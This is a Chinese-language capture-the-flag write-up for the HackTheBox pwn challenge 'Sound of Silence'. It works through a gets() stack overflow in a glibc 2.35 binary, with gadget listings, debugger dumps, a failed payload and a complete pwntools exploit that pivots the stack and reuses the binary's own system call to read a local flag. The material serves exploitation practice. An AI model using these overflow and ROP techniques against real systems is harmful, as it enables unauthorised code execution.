前言
该题目的主题是高版本栈溢出的一个小细节
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第10天,有读者在看吗,来点回复(挠头
题目情况
Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
无PIE,无Canary,libc - 2.35编译的程序
逆向分析
程序很简单,就这么几行:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");
return gets(v4, argv);
}
利用分析
程序提供了栈溢出,提供了system函数,甚至还没有PIE保护,但这与之前见过的同类程序都不一样
因为这是2.35下编译的,编译出来几乎没有可利用的gadgets,只有leave ret可用,没有pop ret了几乎:
pwndbg> rop
Gadgets information
============================================================
0x00000000004010c8 : adc byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2ed3 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401181 : call qword ptr [rax + 0xc3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x00000000004010a3 : cli ; ret
0x000000000040118b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x00000000004010a0 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404010 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404010 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x000000000040100b : jmp 0x4840103f
0x00000000004010cc : jmp rax
0x0000000000401183 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2ed3], 1 ; pop rbp ; ret
0x00000000004010c7 : mov edi, 0x404010 ; jmp rax
0x0000000000401182 : nop ; leave ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404010], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401138 : shr dword ptr [rsi], cl ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040118d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040118c : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404010 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404010 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 48
这种时候就要观察寄存器的使用,程序的反汇编:
.text:0000000000401156 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401156
.text:0000000000401156 var_20 = byte ptr -20h
.text:0000000000401156
.text:0000000000401156 ; __unwind {
.text:0000000000401156 endbr64
.text:000000000040115A push rbp
.text:000000000040115B mov rbp, rsp
.text:000000000040115E sub rsp, 20h
.text:0000000000401162 lea rax, command ; "clear && echo -n '~The Sound of Silence"...
.text:0000000000401169 mov rdi, rax ; command
.text:000000000040116C call _system
.text:0000000000401171 lea rax, [rbp+var_20]
.text:0000000000401175 mov rdi, rax
.text:0000000000401178 mov eax, 0
.text:000000000040117D call _gets
.text:0000000000401182 nop
.text:0000000000401183 leave
.text:0000000000401184 retn
.text:0000000000401184 ; } // starts at 401156
.text:0000000000401184 main endp
程序执行到ret的时候的寄存器:
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
RAX 0x7ffcccedc2d0 ◂— 0x6161616261616161 ('aaaabaaa')
RBX 0x0
RCX 0x7fc6be39baa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
RDX 0x1
RDI 0x7fc6be39da80 ◂— 0x0
RSI 0x1
R8 0x0
R9 0x0
R10 0x77
R11 0x246
R12 0x7ffcccedc408 —▸ 0x7ffccceddf19 ◂— '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
R13 0x401156 (main) ◂— endbr64
R14 0x403dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
R15 0x7fc6be3e6040 (_rtld_global) —▸ 0x7fc6be3e72e0 ◂— 0x0
*RBP 0x6161616a61616169 ('iaaajaaa')
*RSP 0x7ffcccedc2f8 ◂— 0xdeadbeef
*RIP 0x401184 (main+46) ◂— ret
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
0x401183 <main+45> leave
► 0x401184 <main+46> ret <0xdeadbeef>
此时的rax是我们输入的字符串,地址是栈地址,而调用system函数前刚好有个:
.text:0000000000401169 mov rdi, rax ; command
.text:000000000040116C call _system
那顺理成章的这么写exp:
payload = b"cat flag.txt".ljust(0x28,b"\x00") + pack(0x0000000000401169)
sla(b">> ",payload)
ia()
但是这是行不通的,程序根本跑不起来:
challenge ➤ ./exp_cli.py debug sound_of_silence
[*] '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence': pid 20285
[DEBUG] Received 0x35 bytes:
00000000 1b 5b 48 1b 5b 32 4a 1b 5b 33 4a 7e 54 68 65 20 │·[H·│[2J·│[3J~│The │
00000010 53 6f 75 6e 64 20 6f 66 20 53 69 6c 65 6e 63 65 │Soun│d of│ Sil│ence│
00000020 20 69 73 20 6d 65 73 6d 65 72 69 73 69 6e 67 7e │ is │mesm│eris│ing~│
00000030 0a 0a 3e 3e 20 │··>>│ │
00000035
[DEBUG] Sent 0x31 bytes:
00000000 63 61 74 20 66 6c 61 67 2e 74 78 74 00 00 00 00 │cat │flag│.txt│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020 00 00 00 00 00 00 00 00 69 11 40 00 00 00 00 00 │····│····│i·@·│····│
00000030 0a │·│
00000031
[*] Switching to interactive mode
$ w
[DEBUG] Sent 0x2 bytes:
b'w\n'
[*] Got EOF while reading in interactive
$
[DEBUG] Sent 0x1 bytes:
b'\n'
[*] Process '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence' stopped with exit code -11 (SIGSEGV) (pid 20285)
[*] Got EOF while sending in interactive
困境
原因很简单,因为调用system时候,此时的栈状态:
pwndbg> telescope $rax 20
00:0000│ rax rdi 0x7ffee2f6f970 ◂— 'cat flag.txt'
01:0008│ 0x7ffee2f6f978 ◂— 0x7478742e /* '.txt' */
02:0010│ 0x7ffee2f6f980 ◂— 0x0
03:0018│ 0x7ffee2f6f988 ◂— 0x0
04:0020│ 0x7ffee2f6f990 ◂— 0x0
05:0028│ 0x7ffee2f6f998 —▸ 0x401169 (main+19) ◂— mov rdi, rax
06:0030│ rsp 0x7ffee2f6f9a0 ◂— 0x0
07:0038│ 0x7ffee2f6f9a8 —▸ 0x401156 (main) ◂— endbr64
08:0040│ 0x7ffee2f6f9b0 ◂— 0x1e2f6fa90
09:0048│ 0x7ffee2f6f9b8 —▸ 0x7ffee2f6faa8 —▸ 0x7ffee2f70f19 ◂— '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
0a:0050│ 0x7ffee2f6f9c0 ◂— 0x0
0b:0058│ 0x7ffee2f6f9c8 ◂— 0x9e53af226f9d91b4
0c:0060│ 0x7ffee2f6f9d0 —▸ 0x7ffee2f6faa8 —▸ 0x7ffee2f70f19 ◂— '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
0d:0068│ 0x7ffee2f6f9d8 —▸ 0x401156 (main) ◂— endbr64
0e:0070│ 0x7ffee2f6f9e0 —▸ 0x403dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
0f:0078│ 0x7ffee2f6f9e8 —▸ 0x7f3ce7c9c040 (_rtld_global) —▸ 0x7f3ce7c9d2e0 ◂— 0x0
10:0080│ 0x7ffee2f6f9f0 ◂— 0x61ae6acf9cdf91b4
11:0088│ 0x7ffee2f6f9f8 ◂— 0x602a606e551791b4
12:0090│ 0x7ffee2f6fa00 ◂— 0x7f3c00000000
13:0098│ 0x7ffee2f6fa08 ◂— 0x0
我们写入的字符串位于rsp上面,这意味着这是未初始化的内存,在进入函数调用的时候很可能被覆盖掉
突破
那么就需要想办法让这个输入字符串的地址在system种不被覆盖
栈迁移可以吗?不行,因为栈迁移需要再次调用gets,且用新的rbp索引地址,导致结果是,rax也跟着变了,rax依然在rsp上面
这里给出一个好用的笨办法,那就让rax所在栈位置距离rsp远一点,作为使用的栈内存,使其在system调用期间不被用到!
用这个gadgets:
0x000000000040113d : pop rbp ; ret
大量增加rsp来扩张rsp和rax的距离
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
"""
0x0000000000401183 : leave ; ret
0x000000000040113d : pop rbp ; ret
"""
pop_rbp_ret = 0x000000000040113d
leave_ret = 0x0000000000401183
payload = b"cat flag.txt".ljust(0x28,b"\x00") + pack(pop_rbp_ret)*0x100 + pack(0x0000000000401169)
sla(b">> ",payload)
ia()
challenge ➤ ./exp_cli.py debug sound_of_silence
[*] '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence': pid 31071
[DEBUG] Received 0x35 bytes:
00000000 1b 5b 48 1b 5b 32 4a 1b 5b 33 4a 7e 54 68 65 20 │·[H·│[2J·│[3J~│The │
00000010 53 6f 75 6e 64 20 6f 66 20 53 69 6c 65 6e 63 65 │Soun│d of│ Sil│ence│
00000020 20 69 73 20 6d 65 73 6d 65 72 69 73 69 6e 67 7e │ is │mesm│eris│ing~│
00000030 0a 0a 3e 3e 20 │··>>│ │
00000035
[DEBUG] Sent 0x831 bytes:
00000000 63 61 74 20 66 6c 61 67 2e 74 78 74 00 00 00 00 │cat │flag│.txt│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020 00 00 00 00 00 00 00 00 3d 11 40 00 00 00 00 00 │····│····│=·@·│····│
00000030 3d 11 40 00 00 00 00 00 3d 11 40 00 00 00 00 00 │=·@·│····│=·@·│····│
*
00000820 3d 11 40 00 00 00 00 00 69 11 40 00 00 00 00 00 │=·@·│····│i·@·│····│
00000830 0a │·│
00000831
[*] Switching to interactive mode
[DEBUG] Received 0x19 bytes:
b'HTB{f4k3_fl4g_4_t35t1ng}\n'
HTB{f4k3_fl4g_4_t35t1ng}
总结
栈溢出(2.35),收缩栈指针保护栈内存不被使用